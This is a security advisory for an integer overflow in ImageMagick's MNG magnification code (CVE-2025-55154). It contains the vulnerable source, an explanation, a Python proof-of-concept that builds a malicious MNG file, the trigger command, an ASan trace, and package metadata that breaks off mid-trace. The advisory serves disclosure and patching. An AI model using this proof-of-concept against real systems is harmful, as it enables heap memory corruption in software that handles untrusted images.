ghsa-qp29-wxp5-wh82
Vulnerability from github
Published
2025-08-25 16:23
Modified
2025-08-25 16:23
Summary
imagemagick: integer overflows in MNG magnification
Details

Vulnerability Details

The magnified size calculations in ReadOneMNGIMage (in coders/png.c) are unsafe and can overflow, leading to memory corruption.

The source snippet below is heavily abbreviated due to the size of the function, but hopefully the important points are captured.

```c static Image ReadOneMNGImage(MngReadInfo mng_info, const ImageInfo image_info,ExceptionInfo exception) {

// Lots of stuff, this is effectively a state machine for the MNG rendering commands, // skip to the point where we start processing the "MAGN" command.

    if (memcmp(type,mng_MAGN,4) == 0)
      {
        png_uint_16
          magn_first,
          magn_last,
          magn_mb,
          magn_ml,
          magn_mr,
          magn_mt,
          magn_mx,
          magn_my,
          magn_methx,
          magn_methy;

// Details unimportant, but each of the magn_xxx variables is read from the file.

        if (magn_first == 0 || magn_last == 0)
          {
            /* Save the magnification factors for object 0 */
            mng_info->magn_mb=magn_mb;
            mng_info->magn_ml=magn_ml;
            mng_info->magn_mr=magn_mr;
            mng_info->magn_mt=magn_mt;
            mng_info->magn_mx=magn_mx;
            mng_info->magn_my=magn_my;
            mng_info->magn_methx=magn_methx;
            mng_info->magn_methy=magn_methy;
          }
      }

// Details unimportant, we load the image to be scaled and store it in image

if (mng_type)
  {
    MngBox
      crop_box;

    if (((mng_info->magn_methx > 0) && (mng_info->magn_methx <= 5)) &&
        ((mng_info->magn_methy > 0) && (mng_info->magn_methy <= 5)))
      {
        png_uint_32
           magnified_height,
           magnified_width;

        if (logging != MagickFalse)
          (void) LogMagickEvent(CoderEvent,GetMagickModule(),
            "  Processing MNG MAGN chunk");

        if (image->columns == 1)
          mng_info->magn_methx = 1;
        if (image->rows == 1)
          mng_info->magn_methy = 1;
        if (mng_info->magn_methx == 1)
          {
            magnified_width=mng_info->magn_ml; // [0]

            if (image->columns > 1)
               magnified_width += mng_info->magn_mr; // [1]

            if (image->columns > 2)
               magnified_width += (png_uint_32)
                  ((image->columns-2)*(mng_info->magn_mx)); // [2]
           }

// Different cases handle available scaling kinds, all of which have similar issues...

// We now check whether the output image is larger than the input image in either // dimension, and if so, we will allocate a new image buffer of size // magnified_width * magnified_height.

        if (magnified_height > image->rows ||
            magnified_width > image->columns)
          {
            Image
              *large_image;

// Snip...

            large_image->columns=magnified_width;
            large_image->rows=magnified_height;

            magn_methx=mng_info->magn_methx;
            magn_methy=mng_info->magn_methy;

// In between here, we allocate the pixel buffer for large_image.

            /* magnify the rows into the right side of the large image */

            if (logging != MagickFalse)
              (void) LogMagickEvent(CoderEvent,GetMagickModule(),
                "    Magnify the rows to %.20g",
                (double) large_image->rows);
            m=(ssize_t) mng_info->magn_mt;
            yy=0;
            length=(size_t) GetPixelChannels(image)*image->columns;
            next=(Quantum *) AcquireQuantumMemory(length,sizeof(*next));
            prev=(Quantum *) AcquireQuantumMemory(length,sizeof(*prev));

            if ((prev == (Quantum *) NULL) ||
                (next == (Quantum *) NULL))
              {
                if (prev != (Quantum *) NULL)
                  prev=(Quantum *) RelinquishMagickMemory(prev);
                if (next != (Quantum *) NULL)
                  next=(Quantum *) RelinquishMagickMemory(next);
                image=DestroyImageList(image);
                ThrowReaderException(ResourceLimitError,
                  "MemoryAllocationFailed");
              }

            n=GetAuthenticPixels(image,0,0,image->columns,1,exception);
            (void) memcpy(next,n,length);

            for (y=0; y < (ssize_t) image->rows; y++)
            {
              if (y == 0)
                m=(ssize_t) mng_info->magn_mt;

              else if (magn_methy > 1 && y == (ssize_t) image->rows-2)
                m=(ssize_t) mng_info->magn_mb;

              else if (magn_methy <= 1 && y == (ssize_t) image->rows-1)
                m=(ssize_t) mng_info->magn_mb;

              else if (magn_methy > 1 && y == (ssize_t) image->rows-1)
                m=1;

              else
                m=(ssize_t) mng_info->magn_my;

              n=prev;
              prev=next;
              next=n;

              if (y < (ssize_t) image->rows-1)
                {
                  n=GetAuthenticPixels(image,0,y+1,image->columns,1,
                      exception);
                  (void) memcpy(next,n,length);
                }

              for (i=0; i < m; i++, yy++)
              {
                Quantum
                  *pixels;

                assert(yy < (ssize_t) large_image->rows);
                pixels=prev;
                n=next;
                q=GetAuthenticPixels(large_image,0,yy,large_image->columns,
                  1,exception);
                if (q == (Quantum *) NULL)
                  break;
                q+=(ptrdiff_t) (large_image->columns-image->columns)*
                  GetPixelChannels(large_image); // [3]

```

If we look at the calculation for magnified_width, we can see that we are storing the results in a png_uint32. The operations at [0] and [1] are safe, since mng_info->magn_ml and mng_info->magn_mx are both 16-bit unsigned integers, but both the multiplication at [2] and the addition of the result of that multiplication to magnified_width can overflow, leading to a value of magnified_width that is smaller than required.

When we then operate on the pixel buffers, we use the original parameters for the magnification, and we assume (reasonably?) that the output buffer is larger than the input buffer when calculating where to write the upsampled/magnified pixel values. Unfortunately, after the overflow has happened, this assumption is no longer true, and the calculation at [3] will end up with a q pointer outside the buffer bounds.

This issue leads to an out-of-bounds write of controlled data beyond the bounds of a heap allocation.

Triggering this issue requires an image with large columns or rows (\~65535) which should be prevented by all of the example security policies (which set width/height limits of 8KP).

Affected Version(s)

Verified on current HEAD (305e383c8ac7b30bc2ee96ab8c43ec96217ec2a9) and latest stable release (7.1.2-0).

Build Instructions

```shell git clone https://github.com/imagemagick/imagemagick cd imagemagick

export CC=clang export CXX=clang++ export CFLAGS="-fsanitize=address" export CXXFLAGS="-fsanitize=address" export LDFLAGS="-fsanitize=address"

./configure --disable-shared --disable-docs --with-jxl make -j ```

Reproduction

Test Case

This testcase is a python script that will generate an MNG file with a MAGN chunk that triggers this overflow leading to an out-of-bounds heap write.

``` import struct import zlib

def create_chunk(chunk_type, data): crc = zlib.crc32(chunk_type + data) & 0xFFFFFFFF return struct.pack('>I', len(data)) + chunk_type + data + struct.pack('>I', crc)

MNG signature

mng_signature = b'\x8aMNG\r\n\x1a\n'

--- Dimensions ---

mhdr_width = 1 mhdr_height = 1 ihdr_width = 65538 # W: Original width to cause W' overflow ihdr_height = 1 # H: Original height

MHDR chunk (Valid small dimensions)

mhdr_data = struct.pack('>IIIIIII', mhdr_width, mhdr_height, 1, 0, 0, 0, 0) mhdr_chunk = create_chunk(b'MHDR', mhdr_data)

MAGN chunk: Trigger width overflow, force entry via height magn

magn_first = 0 magn_last = 0 magn_methx = 1 magn_mx = 65535 # -> magnified_width = 65534 (overflow) magn_my = 2 # -> magnified_height = 2 (magn_mt=2) magn_ml = 65535 magn_mr = 65535 magn_mt = 2 # Force magnified_height > H (necessary to trigger large_image path) magn_mb = 1 magn_methy = 1

magn_data = struct.pack('>HHBHHHHHHB', magn_first, magn_last, magn_methx, magn_mx, magn_my, magn_ml, magn_mr, magn_mt, magn_mb, magn_methy) magn_chunk = create_chunk(b'MAGN', magn_data)

IHDR chunk

ihdr_data = struct.pack('>IIBBBBB', ihdr_width, ihdr_height, 8, 0, 0, 0, 0) ihdr_chunk = create_chunk(b'IHDR', ihdr_data)

IDAT chunk (Minimal data for W x H grayscale pixels)

scanline = b'\x00' + (b'\x00' * ihdr_width) compressed_scanline = zlib.compress(scanline) idat_chunk = create_chunk(b'IDAT', compressed_scanline)

IEND chunk

iend_chunk = create_chunk(b'IEND', b'')

MEND chunk

mend_chunk = create_chunk(b'MEND', b'')

program_input = ( mng_signature + mhdr_chunk + magn_chunk + ihdr_chunk + idat_chunk + iend_chunk + mend_chunk )

print(f"Generated MNG size: {len(program_input)} bytes") with open("magn_write.mng", "wb") as tmp: tmp.write(program_input) ```

Command

shell python3 ./generate_testcase.py utilities/magick ./magn_write.mng -resize 200x200 PNG:output.png

ASan Backtrace

```

==585863==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7f80849757d0 at pc 0x55744124fba3 bp 0x7fff1300ddf0 sp 0x7fff1300dde8 WRITE of size 4 at 0x7f80849757d0 thread T0 #0 0x55744124fba2 in SetPixelRed /tmp/repro/imagemagick/./MagickCore/pixel-accessor.h:913:52 #1 0x55744123be16 in ReadOneMNGImage /tmp/repro/imagemagick/coders/png.c:6657:27 #2 0x557441222c33 in ReadMNGImage /tmp/repro/imagemagick/coders/png.c:7341:9 #3 0x557441347da1 in ReadImage /tmp/repro/imagemagick/MagickCore/constitute.c:736:15 #4 0x55744134ad96 in ReadImages /tmp/repro/imagemagick/MagickCore/constitute.c:1078:9 #5 0x5574419135fc in CLINoImageOperator /tmp/repro/imagemagick/MagickWand/operation.c:4959:22 #6 0x55744190748c in CLIOption /tmp/repro/imagemagick/MagickWand/operation.c:5473:7 #7 0x5574417dd25b in ProcessCommandOptions /tmp/repro/imagemagick/MagickWand/magick-cli.c:653:13 #8 0x5574417de629 in MagickImageCommand /tmp/repro/imagemagick/MagickWand/magick-cli.c:1392:5 #9 0x5574417daf9c in MagickCommandGenesis /tmp/repro/imagemagick/MagickWand/magick-cli.c:177:14 #10 0x557440e237b9 in MagickMain /tmp/repro/imagemagick/utilities/magick.c:162:10 #11 0x557440e231e1 in main /tmp/repro/imagemagick/utilities/magick.c:193:10 #12 0x7f8087433ca7 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16 #13 0x7f8087433d64 in __libc_start_main csu/../csu/libc-start.c:360:3 #14 0x557440d3f790 in _start (/tmp/repro/imagemagick/utilities/magick+0x1f2790) (BuildId: 926b2c12732f27a214dada191ea6277c7b553ea5)

0x7f80849757d0 is located 48 bytes before 1572816-byte region [0x7f8084975800,0x7f8084af57d0) allocated by thread T0 here: #0 0x557440de00cb in posix_memalign (/tmp/repro/imagemagick/utilities/magick+0x2930cb) (BuildId: 926b2c12732f27a214dada191ea6277c7b553ea5) #1 0x557440e58aa6 in AcquireAlignedMemory_POSIX /tmp/repro/imagemagick/MagickCore/memory.c:300:7 #2 0x557440e5885d in AcquireAlignedMemory /tmp/repro/imagemagick/MagickCore/memory.c:378:10 #3 0x5574412e9725 in OpenPixelCache /tmp/repro/imagemagick/MagickCore/cache.c:3775:46 #4 0x5574412eead7 in GetImagePixelCache /tmp/repro/imagemagick/MagickCore/cache.c:1782:18 #5 0x5574412ef71b in SyncImagePixelCache /tmp/repro/imagemagick/MagickCore/cache.c:5600:28 #6 0x557440e2e786 in SetImageStorageClass /tmp/repro/imagemagick/MagickCore/image.c:2617:10 #7 0x557440e2f075 in SetImageBackgroundColor /tmp/repro/imagemagick/MagickCore/image.c:2422:7 #8 0x55744123b3d6 in ReadOneMNGImage /tmp/repro/imagemagick/coders/png.c:6560:28 #9 0x557441222c33 in ReadMNGImage /tmp/repro/imagemagick/coders/png.c:7341:9 #10 0x557441347da1 in ReadImage /tmp/repro/imagemagick/MagickCore/constitute.c:736:15 #11 0x55744134ad96 in ReadImages /tmp/repro/imagemagick/MagickCore/constitute.c:1078:9 #12 0x5574419135fc in CLINoImageOperator /tmp/repro/imagemagick/MagickWand/operation.c:4959:22 #13 0x55744190748c in CLIOption /tmp/repro/imagemagick/MagickWand/operation.c:5473:7 #14 0x5574417dd25b in ProcessCommandOptions /tmp/repro/imagemagick/MagickWand/magick-cli.c:653:13 #15 0x5574417de629 in MagickImageCommand /tmp/repro/imagemagick/MagickWand/magick-cli.c:1392:5 #16 0x5574417daf9c in MagickCommandGenesis /tmp/repro/imagemagick/MagickWand/magick-cli.c:177:14 #17 0x557440e237b9 in MagickMain /tmp/repro/imagemagick/utilities/magick.c:162:10 #18 0x557440e231e1 in main /tmp/repro/imagemagick/utilities/magick.c:193:10 #19 0x7f8087433ca7 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16

SUMMARY: AddressSanitizer: heap-buffer-overflow /tmp/repro/imagemagick/./MagickCore/pixel-accessor.h:913:52 in SetPixelRed Shadow bytes around the buggy address: 0x7f8084975500: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x7f8084975580: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x7f8084975600: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x7f8084975680: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x7f8084975700: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa =>0x7f8084975780: fa fa fa fa fa fa fa fa fa fa[fa]fa fa fa fa fa 0x7f8084975800: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x7f8084975880: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x7f8084975900: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x7f8084975980: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x7f8084975a00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==585863==ABORTING ```

Reporter Credit

Google Big Sleep

Show details on source website


{
  "affected": [
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q8-x86"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.8.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q8-x64"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.8.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q8-arm64"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.8.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q8-OpenMP-x64"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.8.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q8-OpenMP-arm64"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.8.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q8-AnyCPU"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.8.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q16-x86"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.8.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q16-x64"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.8.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q16-arm64"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.8.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q16-OpenMP-x64"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.8.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q16-OpenMP-arm64"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.8.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q16-HDRI-x86"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.8.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q16-HDRI-x64"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.8.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q16-HDRI-arm64"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.8.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q16-HDRI-OpenMP-x64"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.8.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q16-HDRI-OpenMP-arm64"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.8.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q16-HDRI-AnyCPU"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.8.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q16-AnyCPU"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.8.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-55154"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-190"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-08-25T16:23:09Z",
    "nvd_published_at": "2025-08-13T14:15:33Z",
    "severity": "HIGH"
  },
  "details": "## **Vulnerability Details**\n\nThe magnified size calculations in `ReadOneMNGIMage` (in `coders/png.c`) are unsafe and can overflow, leading to memory corruption.\n\nThe source snippet below is heavily abbreviated due to the size of the function, but hopefully the important points are captured.\n\n```c\nstatic Image *ReadOneMNGImage(MngReadInfo* mng_info,\n  const ImageInfo *image_info,ExceptionInfo *exception)\n{\n\n// Lots of stuff, this is effectively a state machine for the MNG rendering commands,\n// skip to the point where we start processing the \"MAGN\" command.\n\n        if (memcmp(type,mng_MAGN,4) == 0)\n          {\n            png_uint_16\n              magn_first,\n              magn_last,\n              magn_mb,\n              magn_ml,\n              magn_mr,\n              magn_mt,\n              magn_mx,\n              magn_my,\n              magn_methx,\n              magn_methy;\n\n// Details unimportant, but each of the `magn_xxx` variables is read from the file.\n\n            if (magn_first == 0 || magn_last == 0)\n              {\n                /* Save the magnification factors for object 0 */\n                mng_info-\u003emagn_mb=magn_mb;\n                mng_info-\u003emagn_ml=magn_ml;\n                mng_info-\u003emagn_mr=magn_mr;\n                mng_info-\u003emagn_mt=magn_mt;\n                mng_info-\u003emagn_mx=magn_mx;\n                mng_info-\u003emagn_my=magn_my;\n                mng_info-\u003emagn_methx=magn_methx;\n                mng_info-\u003emagn_methy=magn_methy;\n              }\n          }\n\n// Details unimportant, we load the image to be scaled and store it in `image`\n\n    if (mng_type)\n      {\n        MngBox\n          crop_box;\n\n        if (((mng_info-\u003emagn_methx \u003e 0) \u0026\u0026 (mng_info-\u003emagn_methx \u003c= 5)) \u0026\u0026\n            ((mng_info-\u003emagn_methy \u003e 0) \u0026\u0026 (mng_info-\u003emagn_methy \u003c= 5)))\n          {\n            png_uint_32\n               magnified_height,\n               magnified_width;\n\n            if (logging != MagickFalse)\n              (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n                \"  Processing MNG MAGN chunk\");\n\n            if (image-\u003ecolumns == 1)\n              mng_info-\u003emagn_methx = 1;\n            if (image-\u003erows == 1)\n              mng_info-\u003emagn_methy = 1;\n            if (mng_info-\u003emagn_methx == 1)\n              {\n                magnified_width=mng_info-\u003emagn_ml; // [0]\n                \n                if (image-\u003ecolumns \u003e 1)\n                   magnified_width += mng_info-\u003emagn_mr; // [1]\n\n                if (image-\u003ecolumns \u003e 2)\n                   magnified_width += (png_uint_32)\n                      ((image-\u003ecolumns-2)*(mng_info-\u003emagn_mx)); // [2]\n               }\n\n// Different cases handle available scaling kinds, all of which have similar issues...\n\n// We now check whether the output image is larger than the input image in either\n// dimension, and if so, we will allocate a new image buffer of size\n// `magnified_width * magnified_height`.\n\n            if (magnified_height \u003e image-\u003erows ||\n                magnified_width \u003e image-\u003ecolumns)\n              {\n                Image\n                  *large_image;\n\n// Snip...\n\n                large_image-\u003ecolumns=magnified_width;\n                large_image-\u003erows=magnified_height;\n\n                magn_methx=mng_info-\u003emagn_methx;\n                magn_methy=mng_info-\u003emagn_methy;\n\n// In between here, we allocate the pixel buffer for `large_image`.\n\n                /* magnify the rows into the right side of the large image */\n\n                if (logging != MagickFalse)\n                  (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n                    \"    Magnify the rows to %.20g\",\n                    (double) large_image-\u003erows);\n                m=(ssize_t) mng_info-\u003emagn_mt;\n                yy=0;\n                length=(size_t) GetPixelChannels(image)*image-\u003ecolumns;\n                next=(Quantum *) AcquireQuantumMemory(length,sizeof(*next));\n                prev=(Quantum *) AcquireQuantumMemory(length,sizeof(*prev));\n\n                if ((prev == (Quantum *) NULL) ||\n                    (next == (Quantum *) NULL))\n                  {\n                    if (prev != (Quantum *) NULL)\n                      prev=(Quantum *) RelinquishMagickMemory(prev);\n                    if (next != (Quantum *) NULL)\n                      next=(Quantum *) RelinquishMagickMemory(next);\n                    image=DestroyImageList(image);\n                    ThrowReaderException(ResourceLimitError,\n                      \"MemoryAllocationFailed\");\n                  }\n\n                n=GetAuthenticPixels(image,0,0,image-\u003ecolumns,1,exception);\n                (void) memcpy(next,n,length);\n\n                for (y=0; y \u003c (ssize_t) image-\u003erows; y++)\n                {\n                  if (y == 0)\n                    m=(ssize_t) mng_info-\u003emagn_mt;\n\n                  else if (magn_methy \u003e 1 \u0026\u0026 y == (ssize_t) image-\u003erows-2)\n                    m=(ssize_t) mng_info-\u003emagn_mb;\n\n                  else if (magn_methy \u003c= 1 \u0026\u0026 y == (ssize_t) image-\u003erows-1)\n                    m=(ssize_t) mng_info-\u003emagn_mb;\n\n                  else if (magn_methy \u003e 1 \u0026\u0026 y == (ssize_t) image-\u003erows-1)\n                    m=1;\n\n                  else\n                    m=(ssize_t) mng_info-\u003emagn_my;\n\n                  n=prev;\n                  prev=next;\n                  next=n;\n\n                  if (y \u003c (ssize_t) image-\u003erows-1)\n                    {\n                      n=GetAuthenticPixels(image,0,y+1,image-\u003ecolumns,1,\n                          exception);\n                      (void) memcpy(next,n,length);\n                    }\n\n                  for (i=0; i \u003c m; i++, yy++)\n                  {\n                    Quantum\n                      *pixels;\n\n                    assert(yy \u003c (ssize_t) large_image-\u003erows);\n                    pixels=prev;\n                    n=next;\n                    q=GetAuthenticPixels(large_image,0,yy,large_image-\u003ecolumns,\n                      1,exception);\n                    if (q == (Quantum *) NULL)\n                      break;\n                    q+=(ptrdiff_t) (large_image-\u003ecolumns-image-\u003ecolumns)*\n                      GetPixelChannels(large_image); // [3]\n```\n\nIf we look at the calculation for `magnified_width`, we can see that we are storing the results in a `png_uint32`. The operations at \\[0\\] and \\[1\\] are safe, since `mng_info-\u003emagn_ml` and `mng_info-\u003emagn_mx` are both 16-bit unsigned integers, but both the multiplication at \\[2\\] and the addition of the result of that multiplication to `magnified_width` can overflow, leading to a value of `magnified_width` that is smaller than required.\n\nWhen we then operate on the pixel buffers, we use the original parameters for the magnification, and we assume (reasonably?) that the output buffer is larger than the input buffer when calculating where to write the upsampled/magnified pixel values. Unfortunately, after the overflow has happened, this assumption is no longer true, and the calculation at \\[3\\] will end up with a `q` pointer outside the buffer bounds.\n\nThis issue leads to an out-of-bounds write of controlled data beyond the bounds of a heap allocation.\n\nTriggering this issue requires an `image` with large `columns` or `rows` (\\~65535) which should be prevented by all of the example security policies (which set `width`/`height` limits of `8KP`).\n\n## **Affected Version(s)**\n\nVerified on current HEAD (305e383c8ac7b30bc2ee96ab8c43ec96217ec2a9) and latest stable release (7.1.2-0).\n\n### **Build Instructions**\n\n```shell\ngit clone https://github.com/imagemagick/imagemagick\ncd imagemagick\n\nexport CC=clang\nexport CXX=clang++\nexport CFLAGS=\"-fsanitize=address\"\nexport CXXFLAGS=\"-fsanitize=address\"\nexport LDFLAGS=\"-fsanitize=address\"\n\n./configure --disable-shared --disable-docs --with-jxl\nmake -j\n```\n\n## **Reproduction**\n\n### **Test Case**\n\nThis testcase is a python script that will generate an MNG file with a MAGN chunk that triggers this overflow leading to an out-of-bounds heap write.\n\n```\nimport struct\nimport zlib\n\ndef create_chunk(chunk_type, data):\n    crc = zlib.crc32(chunk_type + data) \u0026 0xFFFFFFFF\n    return struct.pack(\u0027\u003eI\u0027, len(data)) + chunk_type + data + struct.pack(\u0027\u003eI\u0027, crc)\n\n# MNG signature\nmng_signature = b\u0027\\x8aMNG\\r\\n\\x1a\\n\u0027\n\n# --- Dimensions ---\nmhdr_width = 1\nmhdr_height = 1\nihdr_width = 65538 # W: Original width to cause W\u0027 overflow\nihdr_height = 1    # H: Original height\n\n# MHDR chunk (Valid small dimensions)\nmhdr_data = struct.pack(\u0027\u003eIIIIIII\u0027, mhdr_width, mhdr_height, 1, 0, 0, 0, 0)\nmhdr_chunk = create_chunk(b\u0027MHDR\u0027, mhdr_data)\n\n# MAGN chunk: Trigger width overflow, force entry via height magn\nmagn_first = 0\nmagn_last = 0\nmagn_methx = 1\nmagn_mx = 65535      # -\u003e magnified_width = 65534 (overflow)\nmagn_my = 2          # -\u003e magnified_height = 2 (magn_mt=2)\nmagn_ml = 65535\nmagn_mr = 65535\nmagn_mt = 2          # Force magnified_height \u003e H (necessary to trigger large_image path)\nmagn_mb = 1\nmagn_methy = 1\n\nmagn_data = struct.pack(\u0027\u003eHHBHHHHHHB\u0027,\n                        magn_first, magn_last,\n                        magn_methx,\n                        magn_mx, magn_my,\n                        magn_ml, magn_mr,\n                        magn_mt, magn_mb,\n                        magn_methy)\nmagn_chunk = create_chunk(b\u0027MAGN\u0027, magn_data)\n\n# IHDR chunk\nihdr_data = struct.pack(\u0027\u003eIIBBBBB\u0027, ihdr_width, ihdr_height, 8, 0, 0, 0, 0)\nihdr_chunk = create_chunk(b\u0027IHDR\u0027, ihdr_data)\n\n# IDAT chunk (Minimal data for W x H grayscale pixels)\nscanline = b\u0027\\x00\u0027 + (b\u0027\\x00\u0027 * ihdr_width)\ncompressed_scanline = zlib.compress(scanline)\nidat_chunk = create_chunk(b\u0027IDAT\u0027, compressed_scanline)\n\n# IEND chunk\niend_chunk = create_chunk(b\u0027IEND\u0027, b\u0027\u0027)\n\n# MEND chunk\nmend_chunk = create_chunk(b\u0027MEND\u0027, b\u0027\u0027)\n\nprogram_input = (\n    mng_signature +\n    mhdr_chunk +\n    magn_chunk +\n    ihdr_chunk +\n    idat_chunk +\n    iend_chunk +\n    mend_chunk\n)\n\nprint(f\"Generated MNG size: {len(program_input)} bytes\")\nwith open(\"magn_write.mng\", \"wb\") as tmp:\n    tmp.write(program_input)\n```\n\n### **Command**\n\n```shell\npython3 ./generate_testcase.py\nutilities/magick ./magn_write.mng -resize 200x200 PNG:output.png\n```\n\n### **ASan Backtrace**\n\n```\n=================================================================\n==585863==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7f80849757d0 at pc 0x55744124fba3 bp 0x7fff1300ddf0 sp 0x7fff1300dde8\nWRITE of size 4 at 0x7f80849757d0 thread T0\n    #0 0x55744124fba2 in SetPixelRed /tmp/repro/imagemagick/./MagickCore/pixel-accessor.h:913:52\n    #1 0x55744123be16 in ReadOneMNGImage /tmp/repro/imagemagick/coders/png.c:6657:27\n    #2 0x557441222c33 in ReadMNGImage /tmp/repro/imagemagick/coders/png.c:7341:9\n    #3 0x557441347da1 in ReadImage /tmp/repro/imagemagick/MagickCore/constitute.c:736:15\n    #4 0x55744134ad96 in ReadImages /tmp/repro/imagemagick/MagickCore/constitute.c:1078:9\n    #5 0x5574419135fc in CLINoImageOperator /tmp/repro/imagemagick/MagickWand/operation.c:4959:22\n    #6 0x55744190748c in CLIOption /tmp/repro/imagemagick/MagickWand/operation.c:5473:7\n    #7 0x5574417dd25b in ProcessCommandOptions /tmp/repro/imagemagick/MagickWand/magick-cli.c:653:13\n    #8 0x5574417de629 in MagickImageCommand /tmp/repro/imagemagick/MagickWand/magick-cli.c:1392:5\n    #9 0x5574417daf9c in MagickCommandGenesis /tmp/repro/imagemagick/MagickWand/magick-cli.c:177:14\n    #10 0x557440e237b9 in MagickMain /tmp/repro/imagemagick/utilities/magick.c:162:10\n    #11 0x557440e231e1 in main /tmp/repro/imagemagick/utilities/magick.c:193:10\n    #12 0x7f8087433ca7 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16\n    #13 0x7f8087433d64 in __libc_start_main csu/../csu/libc-start.c:360:3\n    #14 0x557440d3f790 in _start (/tmp/repro/imagemagick/utilities/magick+0x1f2790) (BuildId: 926b2c12732f27a214dada191ea6277c7b553ea5)\n\n0x7f80849757d0 is located 48 bytes before 1572816-byte region [0x7f8084975800,0x7f8084af57d0)\nallocated by thread T0 here:\n    #0 0x557440de00cb in posix_memalign (/tmp/repro/imagemagick/utilities/magick+0x2930cb) (BuildId: 